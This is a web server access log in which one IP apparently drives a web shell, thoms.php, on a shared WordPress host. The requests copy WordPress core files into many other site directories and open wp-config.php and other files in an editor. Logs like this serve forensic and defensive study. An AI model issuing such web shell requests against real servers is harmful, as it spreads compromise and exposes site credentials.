45.135.193.11 - - [11/Sep/2026:23:20:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=bogroup.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=bft.com.tw HTTP/1.1" 200 11444 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=cgi-bin HTTP/1.1" 200 11362 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11413 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=bfl.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=biotaiwan.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=bossini.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=broadweb.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=ba-guo.com.tw HTTP/1.1" 200 11368 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=beauty-dental.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=big-wife.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:59 -0400] "GET /thoms.php?edit=index.php&p=big-wife.com.tw HTTP/1.1" 200 11817 "http://163.245.207.76:443/thoms.php?edit=index.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:59 -0400] "GET /thoms.php?edit=index.php&env=ace&p=big-wife.com.tw HTTP/1.1" 200 15431 "http://163.245.207.76:443/thoms.php?edit=index.php&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:59 -0400] "GET /thoms.php?edit=wp-config.php&p=big-wife.com.tw HTTP/1.1" 200 13467 "http://163.245.207.76:443/thoms.php?edit=wp-config.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:59 -0400] "GET /thoms.php?edit=wp-config.php&env=ace&p=big-wife.com.tw HTTP/1.1" 200 17056 "http://163.245.207.76:443/thoms.php?edit=wp-config.php&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:59 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-load.php&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-load.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:59 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-load.php&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11404 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-load.php&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:59 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17624 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-load.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:59 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-load.php&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-load.php&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:59 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-load.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11369 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-load.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:59 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-load.php&p= HTTP/1.1" 200 12276 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-load.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:59 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-load.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-load.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:59 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-load.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-load.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:59 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-load.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-load.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:59 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-load.php&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-load.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:59 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17773 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-load.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:59 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-load.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-load.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:59 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-load.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-load.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:00 -0400] "GET /thoms.php?edit=wp-mail.php&p=big-wife.com.tw HTTP/1.1" 200 15086 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:00 -0400] "GET /thoms.php?edit=wp-mail.php&env=ace&p=big-wife.com.tw HTTP/1.1" 200 18720 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:00 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11407 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:00 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11420 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:00 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:00 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:00 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11863 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:00 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&p= HTTP/1.1" 200 12267 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:00 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:00 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11365 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:00 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:00 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:00 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:00 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17922 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:01 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:00 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17923 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:01 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21803 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21803 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:01 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=bodbooks.com.tw HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:01 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:01 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=bestjudy.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:01 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=bfl.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:01 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=broadweb.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:01 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=upgrade HTTP/1.1" 200 11386 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:01 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:01 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=bestzyx.com.tw HTTP/1.1" 200 11423 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:01 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=besth2o.com.tw HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:01 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=betcity.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21804 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=ba-guo.com.tw HTTP/1.1" 200 11366 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=bossini.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=bft.com.tw HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=bioway88.com.tw HTTP/1.1" 200 11502 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=booking-wise2.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=beauty-dental.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=big-wife.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=biotaiwan.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=bogroup.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
